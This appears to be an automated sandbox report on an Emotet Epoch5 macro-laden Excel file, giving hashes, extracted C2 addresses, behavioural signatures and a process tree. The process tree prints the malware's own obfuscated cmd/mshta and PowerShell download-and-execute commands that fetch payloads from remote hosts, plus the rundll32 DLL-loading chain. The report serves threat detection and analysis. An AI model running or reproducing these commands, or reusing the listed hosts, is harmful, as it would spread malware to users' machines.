emotet | 7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904

General

Target

7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904.xlsm
Size

115KB
MD5

0f8a9bd847e673ccf5adb13ce6fe5979
SHA1

c84e4613c708eb3ef981218e278149993a3ac3a2
SHA256

7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904
SHA512

646db1fe7664f87c54e41c5fd99a082073a42bb9329b44e386045c53db2f0ae35e4a148279184e998cf637a366c57afda413054589456ecf9ae581fbd14a5647

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2176	3840	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
31	3928	mshta.exe
34	1120	powershell.exe
36	1120	powershell.exe
43	1372	rundll32.exe
44	1372	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
888	rundll32.exe
2392	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Abmzqyycvkkwtf\fofgwrvwl.aev	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2168	3928	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3840	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
1120	powershell.exe
1372	rundll32.exe
1372	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	2168	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE
3840	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3840 wrote to memory of 2932	3840	EXCEL.EXE	72
PID 3840 wrote to memory of 2932	3840	EXCEL.EXE	72
PID 3840 wrote to memory of 2176	3840	EXCEL.EXE	73
PID 3840 wrote to memory of 2176	3840	EXCEL.EXE	73
PID 2176 wrote to memory of 3928	2176	cmd.exe	75
PID 2176 wrote to memory of 3928	2176	cmd.exe	75
PID 3928 wrote to memory of 1120	3928	mshta.exe	77
PID 3928 wrote to memory of 1120	3928	mshta.exe	77
PID 1120 wrote to memory of 1212	1120	powershell.exe	80
PID 1120 wrote to memory of 1212	1120	powershell.exe	80
PID 1212 wrote to memory of 888	1212	cmd.exe	81
PID 1212 wrote to memory of 888	1212	cmd.exe	81
PID 1212 wrote to memory of 888	1212	cmd.exe	81
PID 888 wrote to memory of 2392	888	rundll32.exe	82
PID 888 wrote to memory of 2392	888	rundll32.exe	82
PID 888 wrote to memory of 2392	888	rundll32.exe	82
PID 2392 wrote to memory of 1796	2392	rundll32.exe	83
PID 2392 wrote to memory of 1796	2392	rundll32.exe	83
PID 2392 wrote to memory of 1796	2392	rundll32.exe	83
PID 1796 wrote to memory of 1372	1796	rundll32.exe	84
PID 1796 wrote to memory of 1372	1796	rundll32.exe	84
PID 1796 wrote to memory of 1372	1796	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3840
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1120
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1212
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:888
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2392
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Abmzqyycvkkwtf\fofgwrvwl.aev",cfwtbTFvzjVBb
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1796
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Abmzqyycvkkwtf\fofgwrvwl.aev",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1372
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3928 -s 1800
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1120-334-0x000001B6199C0000-0x000001B619A70000-memory.dmp

Filesize
704KB

Download
memory/1120-307-0x000001B61A010000-0x000001B61A032000-memory.dmp

Filesize
136KB

Download
memory/1120-326-0x000001B61A090000-0x000001B61A0CC000-memory.dmp

Filesize
240KB

Download
memory/1120-335-0x000001B6199C0000-0x000001B619A70000-memory.dmp

Filesize
704KB

Download
memory/1120-346-0x000001B632820000-0x000001B632896000-memory.dmp

Filesize
472KB

Download
memory/1120-376-0x000001B6199C0000-0x000001B619A70000-memory.dmp

Filesize
704KB

Download
memory/1372-641-0x0000000000710000-0x0000000000738000-memory.dmp

Filesize
160KB

Download
memory/1372-643-0x00000000042E0000-0x0000000004308000-memory.dmp

Filesize
160KB

Download
memory/1372-646-0x00000000047F0000-0x0000000004818000-memory.dmp

Filesize
160KB

Download
memory/1796-637-0x00000000006D0000-0x00000000006F8000-memory.dmp

Filesize
160KB

Download
memory/2392-632-0x0000000004BA0000-0x0000000004BC8000-memory.dmp

Filesize
160KB

Download
memory/2392-627-0x0000000004430000-0x0000000004458000-memory.dmp

Filesize
160KB

Download
memory/2392-630-0x0000000004A90000-0x0000000004AB8000-memory.dmp

Filesize
160KB

Download
memory/2392-634-0x0000000004D00000-0x0000000004D28000-memory.dmp

Filesize
160KB

Download
memory/2392-636-0x0000000004D60000-0x0000000004D88000-memory.dmp

Filesize
160KB

Download
memory/2392-639-0x0000000004EB0000-0x0000000004ED8000-memory.dmp

Filesize
160KB

Download
memory/3840-129-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/3840-128-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/3840-115-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/3840-119-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/3840-118-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/3840-117-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/3840-116-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads